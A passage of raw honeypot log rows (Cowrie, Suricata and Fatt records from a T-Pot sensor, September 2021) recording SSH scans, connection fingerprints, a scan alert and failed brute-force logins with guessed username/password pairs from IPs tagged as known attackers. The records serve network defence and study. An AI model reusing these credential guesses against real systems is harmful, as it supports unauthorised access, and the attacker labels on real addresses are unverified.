"is_ssh_server_kex"]}, "src_port": 34040, "dest_port": 22, "timestamp": "2021-09-20T11:08:38.922591Z", "@timestamp": "2021-09-20T11:08:38.922Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24129	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:28.782998+03	2021-09-20 14:15:08.383471+03	{"_id": "VgbkAnwBvYTbRNuEnREK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38350, "timestamp": "2021-09-20T11:08:28.782998", "@timestamp": "2021-09-20T11:08:28.782Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24130	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:28.77816+03	2021-09-20 14:15:08.38447+03	{"_id": "VwbkAnwBvYTbRNuEnRGt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:38350 (192.168.176.2:22) [session: 4f6638352544]", "session": "4f6638352544", "@version": "1", "protocol": "ssh", "src_port": 38350, "dest_port": 22, "timestamp": "2021-09-20T11:08:28.778160Z", "@timestamp": "2021-09-20T11:08:28.778Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24131	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:08:28.767978+03	2021-09-20 14:15:08.38647+03	{"_id": "YQbkAnwBvYTbRNuEnRGt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.login.failed", "message": "login attempt [tracey/tracey] failed", "session": "8104c532e8e7", "@version": "1", "password": "tracey", "username": "tracey", "timestamp": "2021-09-20T11:08:28.767978Z", "@timestamp": "2021-09-20T11:08:28.767Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24132	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:28.647702+03	2021-09-20 14:15:08.38747+03	{"_id": "ZgbkAnwBvYTbRNuEnRGt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [prueba/prueba123] failed", "session": "f5ecae34b6bd", "@version": "1", "password": "prueba123", "username": "prueba", "timestamp": "2021-09-20T11:08:28.647702Z", "@timestamp": "2021-09-20T11:08:28.647Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24133	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:08:29.69073+03	2021-09-20 14:15:08.38847+03	{"_id": "awbkAnwBvYTbRNuEoBEN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1888614890729645, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34592, "dest_port": 22, "timestamp": "2021-09-20T11:08:29.690730Z", "@timestamp": "2021-09-20T11:08:29.690Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24192	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:33.499722+03	2021-09-20 14:15:08.4655+03	{"_id": "BgbkAnwBvYTbRNuEsRJB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "20f4e4fe5785", "@version": "1", "duration": 3.7466132640838623, "timestamp": "2021-09-20T11:08:33.499722Z", "@timestamp": "2021-09-20T11:08:33.499Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24135	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:08:29.089762+03	2021-09-20 14:15:08.3915+03	{"_id": "bQbkAnwBvYTbRNuEoBHz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38350, "dest_port": 22, "timestamp": "2021-09-20T11:08:29.089762", "@timestamp": "2021-09-20T11:08:29.089Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24136	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:08:30.215004+03	2021-09-20 14:15:08.392509+03	{"_id": "lAbkAnwBvYTbRNuEoxH1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:08:30.215004+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1201407238490076, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 36030, "dest_port": 22, "timestamp": "2021-09-20T11:08:30.215004Z", "@timestamp": "2021-09-20T11:08:30.215Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
24137	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:08:30.564636+03	2021-09-20 14:15:08.393508+03	{"_id": "kwbkAnwBvYTbRNuEoxH1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 641300553410146, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 50088, "dest_port": 22, "timestamp": "2021-09-20T11:08:30.564636Z", "@timestamp": "2021-09-20T11:08:30.564Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24138	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:30.031398+03	2021-09-20 14:15:08.394499+03	{"_id": "lwbkAnwBvYTbRNuEpBHi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49896, "timestamp": "2021-09-20T11:08:30.031398", "@timestamp": "2021-09-20T11:08:30.031Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24157	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:32.884395+03	2021-09-20 14:15:08.4165+03	{"_id": "2QbkAnwBvYTbRNuErRFR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:56106 (192.168.176.2:22) [session: 629a08799b4b]", "session": "629a08799b4b", "@version": "1", "protocol": "ssh", "src_port": 56106, "dest_port": 22, "timestamp": "2021-09-20T11:08:32.884395Z", "@timestamp": "2021-09-20T11:08:32.884Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24139	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:08:30.035029+03	2021-09-20 14:15:08.3955+03	{"_id": "mAbkAnwBvYTbRNuEpBHi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 49896, "dest_port": 22, "timestamp": "2021-09-20T11:08:30.035029", "@timestamp": "2021-09-20T11:08:30.035Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24140	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:08:30.076579+03	2021-09-20 14:15:08.3975+03	{"_id": "mQbkAnwBvYTbRNuEpBHi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": 